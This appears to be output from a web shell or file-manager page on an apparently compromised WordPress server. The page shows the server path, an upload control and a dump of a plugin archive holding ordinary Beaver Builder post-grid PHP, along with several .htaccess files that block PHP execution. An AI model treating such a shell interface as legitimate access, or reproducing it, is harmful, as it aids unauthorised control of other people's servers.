Your IP : 216.73.216.162


Current Path : /home/x/b/o/xbodynamge/namtation/wp-content/
Upload File :
Current File : /home/x/b/o/xbodynamge/namtation/wp-content/beaver-widgets.tar

.htaccess000066600000000424151143413260006346 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>inc/common-functions.php000066600000007576151143413260011347 0ustar00<?php
/**
 * This file contains common functions that can be used in every Beaver module
 *
 * @package themeisle-companion
 */

// Get the module directory.
$module_directory = $this->get_dir();

// Require custom field.
require_once( $module_directory . '/custom-fields/number-field/number_field.php' );

/**
 * Function to return padding controls.
 *
 * @param array $settings Fields settings.
 *
 * @return array
 */
function themeisle_four_fields_control( $settings ) {
	$default = $settings['default'];
	$prefix = $settings['field_name_prefix'];
	$type = ! empty( $settings['type'] ) ? $settings['type'] : 'padding';
	return array(
		'title'  => $type === 'margin' ? esc_html__( 'Margins', 'themeisle-companion' ) : esc_html__( 'Padding', 'themeisle-companion' ),
		'fields' => array(
			$prefix . 'top' => array(
				'type'        => 'obfx_number',
				'label' => esc_html__( 'Top', 'themeisle-companion' ),
				'description' => esc_html__( 'px', 'themeisle-companion' ),
				'default' => $default['top'],
			),
			$prefix . 'bottom' => array(
				'type'        => 'obfx_number',
				'label' => esc_html__( 'Bottom', 'themeisle-companion' ),
				'description' => esc_html__( 'px', 'themeisle-companion' ),
				'default' => $default['bottom'],
			),
			$prefix . 'left' => array(
				'type'        => 'obfx_number',
				'label' => esc_html__( 'Left', 'themeisle-companion' ),
				'description' => esc_html__( 'px', 'themeisle-companion' ),
				'default' => $default['left'],
			),
			$prefix . 'right' => array(
				'type'        => 'obfx_number',
				'label' => esc_html__( 'Right', 'themeisle-companion' ),
				'description' => esc_html__( 'px', 'themeisle-companion' ),
				'default' => $default['right'],
			),
		),
	);
}

/**
 * Typography controls.
 *
 * @param array $settings Typography settings.
 *
 * @return array
 */
function themeisle_typography_settings( $settings ) {
	$title = ! empty( $settings['title'] ) ? $settings['title'] : esc_html__( 'Typography', 'themeisle-companion' );
	$prefix = $settings['prefix'];
	$font_default = ! empty( $settings['font_size_default'] ) ? $settings['font_size_default'] : '';
	return array(
		'title' => $title,
		'fields' => array(
			$prefix . 'font_size' => array(
				'type'        => 'obfx_number',
				'label' => esc_html__( 'Font size', 'themeisle-companion' ),
				'description' => esc_html__( 'px', 'themeisle-companion' ),
				'default' => $font_default,
			),
			$prefix . 'font_family' => array(
				'type'          => 'font',
				'label'         => esc_html__( 'Font family', 'themeisle-companion' ),
				'default'       => array(
					'family'        => 'Roboto',
					'weight'        => 300,
				),
			),
			$prefix . 'transform' => array(
				'type'    => 'select',
				'label'   => esc_html__( 'Transform', 'themeisle-companion' ),
				'default' => 'none',
				'options' => array(
					'none' => esc_html__( 'None', 'themeisle-companion' ),
					'capitalize' => esc_html__( 'Capitalize', 'themeisle-companion' ),
					'uppercase' => esc_html__( 'Uppercase', 'themeisle-companion' ),
					'lowercase' => esc_html__( 'Lowercase', 'themeisle-companion' ),
				),
			),
			$prefix . 'font_style' => array(
				'type'    => 'select',
				'label'   => esc_html__( 'Font style', 'themeisle-companion' ),
				'default' => 'normal',
				'options' => array(
					'normal' => esc_html__( 'Normal', 'themeisle-companion' ),
					'italic' => esc_html__( 'Italic', 'themeisle-companion' ),
					'oblique' => esc_html__( 'Oblique', 'themeisle-companion' ),
				),
			),
			$prefix . 'line_height' => array(
				'type'        => 'obfx_number',
				'label' => esc_html__( 'Line height', 'themeisle-companion' ),
				'description' => esc_html__( 'px', 'themeisle-companion' ),
			),
			$prefix . 'letter_spacing' => array(
				'type'        => 'obfx_number',
				'label' => esc_html__( 'Letter spacing', 'themeisle-companion' ),
				'description' => esc_html__( 'px', 'themeisle-companion' ),
			),
		),
	);
}
inc/.htaccess000066600000000424151143413260007117 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>modules/post-grid/includes/loop-settings.php000066600000022430151143413260015257 0ustar00<?php

// Default Settings
$default_posts_per_page = get_option( 'posts_per_page' );
$defaults = array(
	'data_source' => 'custom_query',
	'post_type'   => 'post',
	'order_by'    => 'date',
	'order'       => 'DESC',
	'offset'      => 0,
	'users'       => '',
	'posts_per_page' => $default_posts_per_page,
);

$tab_defaults = isset( $tab['defaults'] ) ? $tab['defaults'] : array();
$settings     = (object) array_merge( $defaults, $tab_defaults, (array) $settings );
$settings     = apply_filters( 'fl_builder_loop_settings', $settings );  // Allow extension of default Values

do_action( 'fl_builder_loop_settings_before_form', $settings ); // e.g Add custom FLBuilder::render_settings_field()

?>
<div class="fl-custom-query fl-loop-data-source" data-source="custom_query">
	<div id="fl-builder-settings-section-general" class="fl-builder-settings-section">
		<h3 class="fl-builder-settings-title"><?php _e( 'Custom Query', 'themeisle-companion' ); ?></h3>
		<table class="fl-form-table">
			<?php

			// Post type
			FLBuilder::render_settings_field(
				'post_type',
				array(
					'type'          => 'post-type',
					'label'         => esc_html__( 'Post Type', 'themeisle-companion' ),
				),
				$settings
			);

			// Order
			FLBuilder::render_settings_field(
				'order',
				array(
					'type'          => 'select',
					'label'         => esc_html__( 'Order', 'themeisle-companion' ),
					'options'       => array(
						'DESC'          => esc_html__( 'Descending', 'themeisle-companion' ),
						'ASC'           => esc_html__( 'Ascending', 'themeisle-companion' ),
					),
				),
				$settings
			);

			// Order by
			FLBuilder::render_settings_field(
				'order_by',
				array(
					'type'          => 'select',
					'label'         => esc_html__( 'Order By', 'themeisle-companion' ),
					'options'       => array(
						'author'         => esc_html__( 'Author', 'themeisle-companion' ),
						'comment_count'  => esc_html__( 'Comment Count', 'themeisle-companion' ),
						'date'           => esc_html__( 'Date', 'themeisle-companion' ),
						'modified'       => esc_html__( 'Date Last Modified', 'themeisle-companion' ),
						'ID'             => esc_html__( 'ID', 'themeisle-companion' ),
						'menu_order'     => esc_html__( 'Menu Order', 'themeisle-companion' ),
						'meta_value'     => esc_html__( 'Meta Value (Alphabetical)', 'themeisle-companion' ),
						'meta_value_num' => esc_html__( 'Meta Value (Numeric)', 'themeisle-companion' ),
						'rand'           => esc_html__( 'Random', 'themeisle-companion' ),
						'title'          => esc_html__( 'Title', 'themeisle-companion' ),
					),
					'toggle'        => array(
						'meta_value'    => array(
							'fields'        => array( 'order_by_meta_key' ),
						),
						'meta_value_num' => array(
							'fields'        => array( 'order_by_meta_key' ),
						),
					),
				),
				$settings
			);

			// Meta Key
			FLBuilder::render_settings_field(
				'order_by_meta_key',
				array(
					'type'          => 'text',
					'label'         => esc_html__( 'Meta Key', 'themeisle-companion' ),
				),
				$settings
			);

			// Offset
			FLBuilder::render_settings_field(
				'offset',
				array(
					'type'          => 'text',
					'label'         => _x( 'Offset', 'How many posts to skip.', 'themeisle-companion' ),
					'default'       => '0',
					'size'          => '4',
					'help'          => esc_html__( 'Skip this many posts that match the specified criteria.', 'themeisle-companion' ),
				),
				$settings
			);

			// Posts per page
			FLBuilder::render_settings_field(
				'posts_per_page',
				array(
					'type'          => 'obfx_number',
					'label'         => esc_html__( 'Posts per page', 'themeisle-companion' ),
					'default'       => $default_posts_per_page,
					'min'       => '-1',
					'help'          => esc_html__( '-1 means all posts', 'themeisle-companion' ),
				),
				$settings
			);

			// Columns
			FLBuilder::render_settings_field(
				'columns',
				array(
					'type'          => 'obfx_number',
					'label'         => esc_html__( 'Number of columns', 'themeisle-companion' ),
					'default'       => '3',
					'min'       => '1',
					'max'          => '5',
				),
				$settings
			);
			?>
		</table>
	</div>
	<div id="fl-builder-settings-section-filter" class="fl-builder-settings-section">
		<h3 class="fl-builder-settings-title"><?php _e( 'Filter', 'themeisle-companion' ); ?></h3>
		<?php foreach ( FLBuilderLoop::post_types() as $slug => $type ) : ?>
			<table class="fl-form-table fl-custom-query-filter fl-custom-query-<?php echo $slug; ?>-filter" 
																							<?php
																							if ( $slug == $settings->post_type ) {
																								echo 'style="display:table;"';}
																							?>
>
				<?php

				// Posts
				FLBuilder::render_settings_field(
					'posts_' . $slug,
					array(
						'type'          => 'suggest',
						'action'        => 'fl_as_posts',
						'data'          => $slug,
						'label'         => $type->label,
						'help'          => sprintf( esc_html__( 'Enter a list of %1$s.', 'themeisle-companion' ), $type->label ),
						'matching'      => true,
					),
					$settings
				);

				// Taxonomies
				$taxonomies = FLBuilderLoop::taxonomies( $slug );

				foreach ( $taxonomies as $tax_slug => $tax ) {

					FLBuilder::render_settings_field(
						'tax_' . $slug . '_' . $tax_slug,
						array(
							'type'          => 'suggest',
							'action'        => 'fl_as_terms',
							'data'          => $tax_slug,
							'label'         => $tax->label,
							'help'          => sprintf( esc_html__( 'Enter a list of %1$s.', 'themeisle-companion' ), $tax->label ),
							'matching'      => true,
						),
						$settings
					);
				}

				?>
			</table>
		<?php endforeach; ?>
		<table class="fl-form-table">
			<?php

			// Author
			FLBuilder::render_settings_field(
				'users',
				array(
					'type'          => 'suggest',
					'action'        => 'fl_as_users',
					'label'         => esc_html__( 'Authors', 'themeisle-companion' ),
					'help'          => esc_html__( 'Enter a list of authors usernames.', 'themeisle-companion' ),
					'matching'      => true,
				),
				$settings
			);

			?>
		</table>
	</div>
	<div id="fl-builder-settings-section-filter" class="fl-builder-settings-section">
		<h3 class="fl-builder-settings-title"><?php _e( 'Appearance', 'themeisle-companion' ); ?></h3>
		<table class="fl-form-table">

		<?php
		// Vertical align
		FLBuilder::render_settings_field(
			'card_vertical_align',
			array(
				'type'          => 'select',
				'label'         => esc_html__( 'Vertical align', 'themeisle-companion' ),
				'default' => 'grid',
				'options'       => array(
					'top'         => esc_html__( 'Top', 'themeisle-companion' ),
					'middle'  => esc_html__( 'Middle', 'themeisle-companion' ),
					'bottom'  => esc_html__( 'Bottom', 'themeisle-companion' ),
				),
			),
			$settings
		);

		// Display type
		FLBuilder::render_settings_field(
			'display_type',
			array(
				'type'          => 'select',
				'label'         => esc_html__( 'Display type', 'themeisle-companion' ),
				'default' => 'grid',
				'options'       => array(
					'grid'         => esc_html__( 'Grid', 'themeisle-companion' ),
					'list'  => esc_html__( 'List', 'themeisle-companion' ),
				),
			),
			$settings
		);

		// Card layout
		FLBuilder::render_settings_field(
			'card_layout',
			array(
				'type'          => 'obfx_toggle',
				'label'         => esc_html__( 'Card layout', 'themeisle-companion' ),
			),
			$settings
		);

		// Padding top
		FLBuilder::render_settings_field(
			'card_margin_top',
			array(
				'type'          => 'obfx_number',
				'label'         => esc_html__( 'Margin top', 'themeisle-companion' ),
				'default'       => '0',
				'min'       => '0',
			),
			$settings
		);

		// Padding bottom
		FLBuilder::render_settings_field(
			'card_margin_bottom',
			array(
				'type'          => 'obfx_number',
				'label'         => esc_html__( 'Margin bottom', 'themeisle-companion' ),
				'default'       => '30',
				'min'       => '0',
			),
			$settings
		);

		// Background color
		FLBuilder::render_settings_field(
			'post_bg_color',
			array(
				'type'          => 'color',
				'label'         => __( 'Background color', 'themeisle-companion' ),
				'show_reset'    => true,
				'show_alpha'    => true,
				'preview'      => array(
					'type'         => 'css',
					'selector'     => '.obfx-post-grid',
					'property'     => 'background-color',
				),

			),
			$settings
		);

		// Link color
		FLBuilder::render_settings_field(
			'post_link_color',
			array(
				'type'          => 'color',
				'label'         => __( 'Link color', 'themeisle-companion' ),
				'show_reset'    => true,
				'preview'      => array(
					'type'         => 'css',
					'selector'     => '.obfx-post-grid a, .obfx-post-grid-pagination a',
					'property'     => 'color',
				),
			),
			$settings
		);

		// Link color
		FLBuilder::render_settings_field(
			'post_text_color',
			array(
				'type'          => 'color',
				'label'         => __( 'Text color', 'themeisle-companion' ),
				'show_reset'    => true,
				'preview'      => array(
					'type'         => 'css',
					'selector'     => '.obfx-post-grid, .obfx-post-grid-pagination',
					'property'     => 'color',
				),
			),
			$settings
		);
		?>
		</table>
	</div>
</div>
<?php
do_action( 'fl_builder_loop_settings_after_form', $settings ); // e.g Add custom FLBuilder::render_settings_field()
modules/post-grid/includes/frontend.php000066600000017762151143413260014303 0ustar00<?php
/**
 * This file is used to render each pricing module instance.
 * You have access to two variables in this file:
 *
 * $module An instance of your module class.
 * $settings The module's settings.
 */


if ( ! function_exists( 'obfx_show_post_grid_thumbnail' ) ) {
	/**
	 * Display post grid image.
	 *
	 * @param array $settings Post grid settings.
	 */
	function obfx_show_post_grid_thumbnail( $settings ) {
		if ( empty( $settings ) ) {
			return;
		}

		$show_post_thumbnail = ! empty( $settings->show_post_thumbnail ) ? $settings->show_post_thumbnail : '';
		if ( $show_post_thumbnail === 'no' ) {
			return;
		}

		$size = ! empty( $settings->image_size ) ? $settings->image_size : 'post-thumbnail';
		$pid  = get_the_ID();
		$img  = get_the_post_thumbnail_url( $pid, $size );
		if ( ! empty( $img ) ) {
			$thumbnail_shadow = ! empty( $settings->thumbnail_shadow ) && $settings->thumbnail_shadow === 'yes' ? 'obfx-card' : '';
			echo '<div class="obfx-post-grid-thumbnail ' . esc_attr( $thumbnail_shadow ) . '">';
			if ( ! empty( $settings->show_thumbnail_link ) && $settings->show_thumbnail_link === 'yes' ) {
				echo '<a href="' . get_permalink() . '">';
			}
			echo '<img src="' . esc_url( $img ) . '"/></div>';
			if ( ! empty( $settings->show_thumbnail_link ) && $settings->show_thumbnail_link === 'yes' ) {
				echo '</a>';
			}
		}
	}
}

if ( ! function_exists( 'obfx_show_post_grid_title' ) ) {
	/**
	 * Display post grid title.
	 *
	 * @param array $settings Post grid settings.
	 */
	function obfx_show_post_grid_title( $settings ) {
		if ( empty( $settings ) ) {
			return;
		}

		$show_post_title = ! empty( $settings->show_post_title ) ? $settings->show_post_title : '';
		if ( $show_post_title === 'no' ) {
			return;
		}

		if ( ! empty( $settings->show_title_link ) && $settings->show_title_link === 'yes' ) {
			echo '<a href="' . get_permalink() . '">';
		}
		$tag = ! empty( $settings->title_tag ) ? $settings->title_tag : 'h4';
		the_title( '<' . $tag . ' class="obfx-post-grid-title">', '</' . $tag . '>' );
		if ( ! empty( $settings->show_title_link ) && $settings->show_title_link === 'yes' ) {
			echo '</a>';
		}
	}
}

if ( ! function_exists( 'obfx_show_post_grid_meta' ) ) {
	/**
	 * Display post grid meta.
	 *
	 * @param array $settings Post grid settings.
	 */
	function obfx_show_post_grid_meta( $settings ) {
		if ( empty( $settings ) ) {
			return;
		}

		$show_post_meta = ! empty( $settings->show_post_meta ) ? $settings->show_post_meta : '';
		if ( $show_post_meta === 'no' ) {
			return;
		}

		$pid        = get_the_ID();
		$meta_data  = ! empty( $settings->meta_data ) ? ( is_array( $settings->meta_data ) ? $settings->meta_data : array( $settings->meta_data ) ) : array();
		$show_icons = ! empty( $settings->show_icons ) ? $settings->show_icons : '';
		echo '<div class="obfx-post-grid-meta">';
		if ( in_array( 'author', $meta_data ) ) {
			$author = get_the_author( $pid );
			if ( ! empty( $author ) ) {
				echo '<div class="obfx-author">';
				if ( $show_icons === 'yes' ) {
					echo '<i class="fa fa-user"></i>';
				}
				printf(
					/* translators: %1$s is Author name wrapped, %2$s is Time */
					esc_html__( 'By %1$s', 'themeisle-companion' ),
					sprintf(
						/* translators: %1$s is Author name, %2$s is author link */
						'<a href="%2$s" title="%1$s"><b>%1$s</b></a>',
						esc_html( get_the_author() ),
						esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) )
					)
				);
				echo '</div>';
			}
		}

		if ( in_array( 'date', $meta_data ) ) {
			echo '<div class="obfx-date">';
			if ( $show_icons === 'yes' ) {
				echo '<i class="fa fa-calendar"></i>';
			}
			echo get_the_date();
			echo '</div>';
		}

		if ( in_array( 'category', $meta_data ) ) {
			$cat = get_the_category();
			if ( ! empty( $cat ) ) {
				echo '<div class="obfx-category">';
				if ( $show_icons === 'yes' ) {
					echo '<i class="fa fa-list"></i>';
				}
				foreach ( $cat as $category ) {
					$cat_id = $category->term_id;
					$link   = get_category_link( $cat_id );
					$name   = $category->name;
					if ( ! empty( $name ) ) {
						if ( ! empty( $link ) ) {
							echo '<a href="' . esc_url( $link ) . '">';
						}
						echo $name;
						if ( ! empty( $link ) ) {
							echo '</a>';
						}
					}
				}
				echo '</div>';
			}
		}

		if ( in_array( 'tags', $meta_data ) ) {
			$tags = wp_get_post_tags( $pid );
			if ( ! empty( $tags ) ) {
				echo '<div class="obfx-tags">';
				if ( $show_icons === 'yes' ) {
					echo '<i class="fa fa-tag"></i>';
				}
				foreach ( $tags as $tag ) {
					$tag_id = $tag->term_id;
					$link   = get_tag_link( $tag_id );
					$name   = $tag->name;
					if ( ! empty( $name ) ) {
						if ( ! empty( $link ) ) {
							echo '<a href="' . esc_url( $link ) . '">';
						}
						echo $name;
						if ( ! empty( $link ) ) {
							echo '</a>';
						}
					}
				}
				echo '</div>';
			}
		}

		if ( in_array( 'comments', $meta_data ) ) {
			echo '<div class=obfx-comments">';
			if ( $show_icons === 'yes' ) {
				echo '<i class="fa fa-comment"></i>';
			}
			$comments_number = get_comments_number();
			if ( 0 == ! $comments_number ) {
				if ( 1 === $comments_number ) {
					/* translators: %s: post title */
					_x( 'One comment', 'comments title', 'themeisle-companion' );
				} else {
					printf(
						/* translators: 1: number of comments, 2: post title */
						_nx(
							'%1$s Comment',
							'%1$s Comments',
							$comments_number,
							'comments title',
							'themeisle-companion'
						),
						number_format_i18n( $comments_number )
					);
				}
			}
			echo '</div>';
		}
		echo '</div>';
	}
}

if ( ! function_exists( 'obfx_show_post_grid_content' ) ) {
	/**
	 * Display post grid content.
	 *
	 * @param array $settings Post grid settings.
	 */
	function obfx_show_post_grid_content( $settings ) {
		if ( empty( $settings ) ) {
			return;
		}

		$show_post_content = ! empty( $settings->show_post_content ) ? $settings->show_post_content : '';
		if ( $show_post_content === 'no' ) {
			return;
		}

		$number_of_words = ! empty( $settings->content_length ) ? $settings->content_length : '';
		echo '<div class="obfx-post-content">';
		if ( ! empty( $number_of_words ) ) {
			$content = obfx_get_limited_content( $number_of_words, $settings );
			echo '<p>' . wp_kses_post( $content ) . '</p>';
		}
		echo '</div>';
	}
}

if ( ! function_exists( 'obfx_get_limited_content' ) ) {
	/**
	 * Get content with limited number of words.
	 *
	 * @param int $limit Words limit.
	 *
	 * @return string
	 */
	function obfx_get_limited_content( $limit, $settings ) {
		$content = explode( ' ', get_the_content(), $limit );

		$show_read_more = ! empty( $settings->show_read_more ) ? $settings->show_read_more : '';
		$read_more      = $show_read_more === 'yes' ? ( ! empty( $settings->read_more_text ) ? '<a class="obfx-post-grid-read-more" href="' . get_the_permalink() . '">' . $settings->read_more_text . '</a>' : '' ) : '';
		if ( count( $content ) >= $limit ) {
			array_pop( $content );
			$content = implode( ' ', $content );
			$content = strip_tags( $content );
			$content = $content . '...' . wp_kses_post( $read_more );
		} else {
			$content = implode( ' ', $content );
		}

		$content = preg_replace( '/\[.+\]/', '', $content );
		$content = apply_filters( 'the_content', $content );
		$content = str_replace( ']]>', ']]&gt;', $content );

		return $content;
	}
}



$query = FLBuilderLoop::query( $settings );
if ( $query->have_posts() ) {

	$class_to_add = ! empty( $settings->card_layout ) && $settings->card_layout === 'yes' ? 'obfx-card' : '';
	while ( $query->have_posts() ) {
		$query->the_post();

		echo '<div class="obfx-post-grid-wrapper">';
			echo '<div class="obfx-post-grid ' . esc_attr( $class_to_add ) . '">';
				obfx_show_post_grid_thumbnail( $settings );
				obfx_show_post_grid_title( $settings );
				obfx_show_post_grid_meta( $settings );
				obfx_show_post_grid_content( $settings );
			echo '</div>';
		echo '</div>';
	}

	if ( $settings->show_pagination === 'yes' ) {
		echo '<div class="obfx-post-grid-pagination">';
		FLBuilderLoop::pagination( $query );
		echo '</div>';
	}
}

wp_reset_postdata();
modules/post-grid/includes/.htaccess000066600000000424151143413260013534 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>modules/post-grid/includes/frontend.css.php000066600000023254151143413260015063 0ustar00<?php

$post_width = $settings->display_type === 'list' ? 100 : ( ! empty( $settings->columns ) ? 100 / (int) $settings->columns : 33.3333 );
$card_vertical_align = ! empty( $settings->card_vertical_align ) ? $settings->card_vertical_align : 'top';
echo '.fl-node-' . $id . ' .obfx-post-grid-wrapper{
	width: ' . $post_width . '%;
	vertical-align: ' . $card_vertical_align . ';
}';


$post_bg_color = ! empty( $settings->post_bg_color ) ? $settings->post_bg_color : '';
if ( ! empty( $post_bg_color ) ) {
	$post_bg_color = strpos( $post_bg_color, 'rgba' ) !== false ? 'background-color:' . $post_bg_color : 'background-color:#' . $post_bg_color;
	echo '.fl-node-' . $id . ' .obfx-post-grid{
	' . $post_bg_color . ';
	}';
}

$post_link_color = ! empty( $settings->post_link_color ) ? $settings->post_link_color : '';
if ( ! empty( $post_link_color ) ) {
	$post_link_color = strpos( $post_link_color, 'rgba' ) !== false ? 'color:' . $post_link_color : 'color:#' . $post_link_color;
	echo '.fl-node-' . $id . ' .obfx-post-grid a, .fl-node-' . $id . ' .obfx-post-grid-pagination a {
	' . $post_link_color . ';
	}';
}

$post_text_color = ! empty( $settings->post_text_color ) ? $settings->post_text_color : '';
if ( ! empty( $post_text_color ) ) {
	$post_text_color = strpos( $post_text_color, 'rgba' ) !== false ? 'color:' . $post_text_color : 'color:#' . $post_text_color;
	echo '.fl-node-' . $id . ' .obfx-post-grid, .fl-node-' . $id . ' .obfx-post-grid-pagination{
	' . $post_text_color . ';
	}';
}


$card_margin_top = ! empty( $settings->card_margin_top ) ? $settings->card_margin_top : '0';
$card_margin_bottom = ! empty( $settings->card_margin_bottom ) ? $settings->card_margin_bottom : '0';
echo '.fl-node-' . $id . ' .obfx-post-grid{
	margin-top: ' . $card_margin_top . 'px;
	margin-bottom: ' . $card_margin_bottom . 'px;
}
';

$thumbnail_margin_top = ! empty( $settings->thumbnail_margin_top ) ? $settings->thumbnail_margin_top : '0';
$thumbnail_margin_bottom = ! empty( $settings->thumbnail_margin_bottom ) ? $settings->thumbnail_margin_bottom : '0';
$thumbnail_margin_left = ! empty( $settings->thumbnail_margin_left ) ? $settings->thumbnail_margin_left : '0';
$thumbnail_margin_right = ! empty( $settings->thumbnail_margin_right ) ? $settings->thumbnail_margin_right : '0';
$image_alignment = ! empty( $settings->image_alignment ) ? $settings->image_alignment : 'center';

echo '.fl-node-' . $id . ' .obfx-post-grid-thumbnail{
	margin-top: ' . $thumbnail_margin_top . 'px;
	margin-bottom: ' . $thumbnail_margin_bottom . 'px;
	margin-left: ' . $thumbnail_margin_left . 'px;
	margin-right: ' . $thumbnail_margin_right . 'px;';

switch ( $image_alignment ) {
	case 'center':
		echo 'text-align:center; width:100%;';
		break;
	case 'left':
		echo 'float:left';
		break;
	case 'right':
		echo 'float:right';
		break;
}
echo '}';


$title_padding_top = ! empty( $settings->title_padding_top ) ? $settings->title_padding_top : '0';
$title_padding_bottom = ! empty( $settings->title_padding_bottom ) ? $settings->title_padding_bottom : '0';
$title_padding_left = ! empty( $settings->title_padding_left ) ? $settings->title_padding_left : '0';
$title_padding_right = ! empty( $settings->title_padding_right ) ? $settings->title_padding_right : '0';
$title_alignment = ! empty( $settings->title_alignment ) ? $settings->title_alignment : 'center';
$title_font_size = ! empty( $settings->title_font_size ) ? $settings->title_font_size : '0';
$title_font_family = ! empty( $settings->title_font_family['family'] ) ? $settings->title_font_family['family'] : 'Roboto';
$title_font_weight = ! empty( $settings->title_font_family['weight'] ) ? $settings->title_font_family['weight'] : '400';
$title_transform = ! empty( $settings->title_transform ) ? $settings->title_transform : 'none';
$title_font_style = ! empty( $settings->title_font_style ) ? $settings->title_font_style : 'none';
$title_line_height = ! empty( $settings->title_line_height ) ? $settings->title_line_height : 'inherit';
$title_letter_spacing = ! empty( $settings->title_letter_spacing ) ? $settings->title_letter_spacing : '0';
echo '.fl-node-' . $id . ' .obfx-post-grid-title{
	padding-top: ' . $title_padding_top . 'px;
	padding-bottom: ' . $title_padding_bottom . 'px;
	padding-left: ' . $title_padding_left . 'px;
	padding-right: ' . $title_padding_right . 'px;
	text-align: ' . $title_alignment . ';
	font-size:' . $title_font_size . 'px;
	font-family:' . $title_font_family . ';
	font-weight:' . $title_font_weight . ';
	text-transform:' . $title_transform . ';
	font-style:' . $title_font_style . ';
	line-height:' . $title_line_height . 'px;
	letter-spacing:' . $title_letter_spacing . 'px;
} ';

$meta_padding_top = ! empty( $settings->meta_padding_top ) ? $settings->meta_padding_top : '0';
$meta_padding_bottom = ! empty( $settings->meta_padding_bottom ) ? $settings->meta_padding_bottom : '0';
$meta_padding_left = ! empty( $settings->meta_padding_left ) ? $settings->meta_padding_left : '0';
$meta_padding_right = ! empty( $settings->meta_padding_right ) ? $settings->meta_padding_right : '0';
$meta_alignment = ! empty( $settings->meta_alignment ) ? $settings->meta_alignment : 'center';
$meta_font_size = ! empty( $settings->meta_font_size ) ? $settings->meta_font_size : '0';
$meta_font_family = ! empty( $settings->meta_font_family['family'] ) ? $settings->meta_font_family['family'] : 'Roboto';
$meta_font_weight = ! empty( $settings->meta_font_family['weight'] ) ? $settings->meta_font_family['weight'] : '400';
$meta_transform = ! empty( $settings->meta_transform ) ? $settings->meta_transform : 'none';
$meta_font_style = ! empty( $settings->meta_font_style ) ? $settings->meta_font_style : 'none';
$meta_line_height = ! empty( $settings->meta_line_height ) ? $settings->meta_line_height : 'inherit';
$meta_letter_spacing = ! empty( $settings->meta_letter_spacing ) ? $settings->meta_letter_spacing : '0';
echo '.fl-node-' . $id . ' .obfx-post-grid-meta{
	padding-top: ' . $meta_padding_top . 'px;
	padding-bottom: ' . $meta_padding_bottom . 'px;
	padding-left: ' . $meta_padding_left . 'px;
	padding-right: ' . $meta_padding_right . 'px;
	font-size:' . $meta_font_size . 'px;
	font-family:' . $meta_font_family . ';
	font-weight:' . $meta_font_weight . ';
	text-transform:' . $meta_transform . ';
	font-style:' . $meta_font_style . ';
	line-height:' . $meta_line_height . 'px;
	letter-spacing:' . $meta_letter_spacing . 'px;
	text-align: ' . $meta_alignment . ';
} ';


$content_padding_top = ! empty( $settings->content_padding_top ) ? $settings->content_padding_top : '0';
$content_padding_bottom = ! empty( $settings->content_padding_bottom ) ? $settings->content_padding_bottom : '0';
$content_padding_left = ! empty( $settings->content_padding_left ) ? $settings->content_padding_left : '0';
$content_padding_right = ! empty( $settings->content_padding_right ) ? $settings->content_padding_right : '0';
$content_alignment = ! empty( $settings->content_alignment ) ? $settings->content_alignment : 'center';
$content_font_size = ! empty( $settings->content_font_size ) ? $settings->content_font_size : '0';
$content_font_family = ! empty( $settings->content_font_family['family'] ) ? $settings->content_font_family['family'] : 'Roboto';
$content_font_weight = ! empty( $settings->content_font_family['weight'] ) ? $settings->content_font_family['weight'] : '400';
$content_transform = ! empty( $settings->content_transform ) ? $settings->content_transform : 'none';
$content_font_style = ! empty( $settings->content_font_style ) ? $settings->content_font_style : 'none';
$content_line_height = ! empty( $settings->content_line_height ) ? $settings->content_line_height : 'inherit';
$content_letter_spacing = ! empty( $settings->content_letter_spacing ) ? $settings->content_letter_spacing : '0';

echo '.fl-node-' . $id . ' .obfx-post-content{
	padding-top: ' . $content_padding_top . 'px;
	padding-bottom: ' . $content_padding_bottom . 'px;
	padding-left: ' . $content_padding_left . 'px;
	padding-right: ' . $content_padding_right . 'px;
	text-align: ' . $content_alignment . ';
	font-size:' . $content_font_size . 'px;
	font-family:' . $content_font_family . ';
	font-weight:' . $content_font_weight . ';
	text-transform:' . $content_transform . ';
	font-style:' . $content_font_style . ';
	line-height:' . $content_line_height . 'px;
	letter-spacing:' . $content_letter_spacing . 'px;
} ';

$pagination_font_size = ! empty( $settings->pagination_font_size ) ? $settings->pagination_font_size : '0';
$pagination_font_family = ! empty( $settings->pagination_font_family['family'] ) ? $settings->pagination_font_family['family'] : 'Roboto';
$pagination_font_weight = ! empty( $settings->pagination_font_family['weight'] ) ? $settings->pagination_font_family['weight'] : '400';
$pagination_transform = ! empty( $settings->pagination_transform ) ? $settings->pagination_transform : 'none';
$pagination_font_style = ! empty( $settings->pagination_font_style ) ? $settings->pagination_font_style : 'none';
$pagination_line_height = ! empty( $settings->pagination_line_height ) ? $settings->pagination_line_height : 'inherit';
$pagination_letter_spacing = ! empty( $settings->pagination_letter_spacing ) ? $settings->pagination_letter_spacing : '0';
$pagination_alignment = ! empty( $settings->pagination_alignment ) ? $settings->pagination_alignment : 'center';
echo '.fl-node-' . $id . ' .obfx-post-grid-pagination li a, .fl-node-' . $id . ' .obfx-post-grid-pagination li {
	font-size:' . $pagination_font_size . 'px;
	font-family:' . $pagination_font_family . ';
	font-weight:' . $pagination_font_weight . ';
	text-transform:' . $pagination_transform . ';
	font-style:' . $pagination_font_style . ';
	line-height:' . $pagination_line_height . 'px;
	letter-spacing:' . $pagination_letter_spacing . 'px;
}';

echo '.fl-node-' . $id . ' .obfx-post-grid-pagination{
	text-align: ' . $pagination_alignment . ';
}';
modules/post-grid/.htaccess000066600000000424151143413260011726 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
